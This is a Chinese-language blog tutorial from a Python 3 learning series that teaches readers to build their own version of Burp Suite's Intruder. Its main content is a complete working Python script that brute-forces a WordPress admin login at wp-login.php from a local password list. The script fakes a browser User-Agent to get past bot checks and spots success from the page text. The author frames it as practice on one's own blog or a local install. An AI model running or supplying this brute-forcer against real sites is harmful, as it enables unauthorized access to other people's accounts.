Walks

网络安全爱好者

Python3学习系列(九):编写属于自己Intruder工具【上】

《Python3学习系列(九):编写属于自己Intruder工具【上】》 

前言:

BurpSuite大家应该都用过吧,里面有个Inteuder模块,是用来爆破网站后台密码的,那么这个模块是如何实现的呢?接下来这篇文章就教你写属于自己的Intruder工具

目录:

0x01:处理流程

0x02:简析流程

0x03:代码实现


0x01 处理流程

《Python3学习系列(九):编写属于自己Intruder工具【上】》 

 0x02 简析流程

首先,我们确定自己的目的是什么,爆破出一个网站后台的登陆密码。
然后我们要分析后台的登陆流程,是否有验证码,是否有隐藏参数传递等
这里的后台是我的博客,基于wordpress,一般默认无验证码,只需要输入post的账号和密码就好
然后我们就构造post参数,从一个本地的pwd.txt(字典文件)读取密码,不断的加入到post的密码参数里面,试图去登陆
登陆成功后302自动跳转到我们的后台页面

《Python3学习系列(九):编写属于自己Intruder工具【上】》  

这时我们可以用登陆成功后页面内容来判断,也可用其他,没成功就说明字典不给力,或者管理者密码比较强大

 

0x03 代码实现

# -*- coding: utf-8 -*-
'''
Program:WordPress后台登陆
Function:读取字典逐个登陆Wordpress后台,在知道用户名的情况下,可用来爆破登陆密码
 
Version:Python3.6
Time:2017/10/25
Author:Walks
个人博客:http://www.bywalks.com
'''
#导入requests库,跟2.x的urllib2和3.x的urllib.request差不多的功能,不过好像更强大
import requests
 
#登陆后台
url = 'http://www.bywalks.com/wp-login.php'
 
#HTTP的header头,添加个user-agent,有的网站会从User-Agent来判断是否是程序访问
#如果是程序访问则不允许,添加个user-agent就是欺骗这种防护
#在这里的后台wordpress好像不用加
headers = {'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0'}
#访问也米欧庵后,保留cookie
s = requests.Session()
#加个headers
s.headers.update(headers)
#防止报错代码
try:
    #打开pwd.txt
    with open('pwd.txt','r') as f:
        #逐行访问并且尝试
        for pwd in f:
            #去除每行的\n,当你读取一行时,如果用二进制显示,会发现每行都有个\n
            pwd = pwd.replace('\n','')
            #print(pwd)
            #构造post数据,log=username,pwd=password
            data = {
                    "log":"XXX",
                    "pwd":pwd,
                    "rememberme":"forever"
                    }
            #尝试登陆
            req = s.post(url,data = data)
            print(req.status_code)
            #通过某些特征判断是否登陆成功
            if '欢迎使用WordPress' in req.text:
                print('爆破成功,密码为:'+pwd)
                break
#如果出错,输出具体错误
except requests.RequestException as e:
    print(e)

成功图

《Python3学习系列(九):编写属于自己Intruder工具【上】》

大家如果想找环境测试的话可以本地搭建个wordpress,这里我测试的是我的博客后台,我加了验证码,所以大家弄我的肯定是没用的。
下篇的话给大家写个带验证码识别流程的

转载请注明出处:www.bywalks.com

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注

+ 2 = 3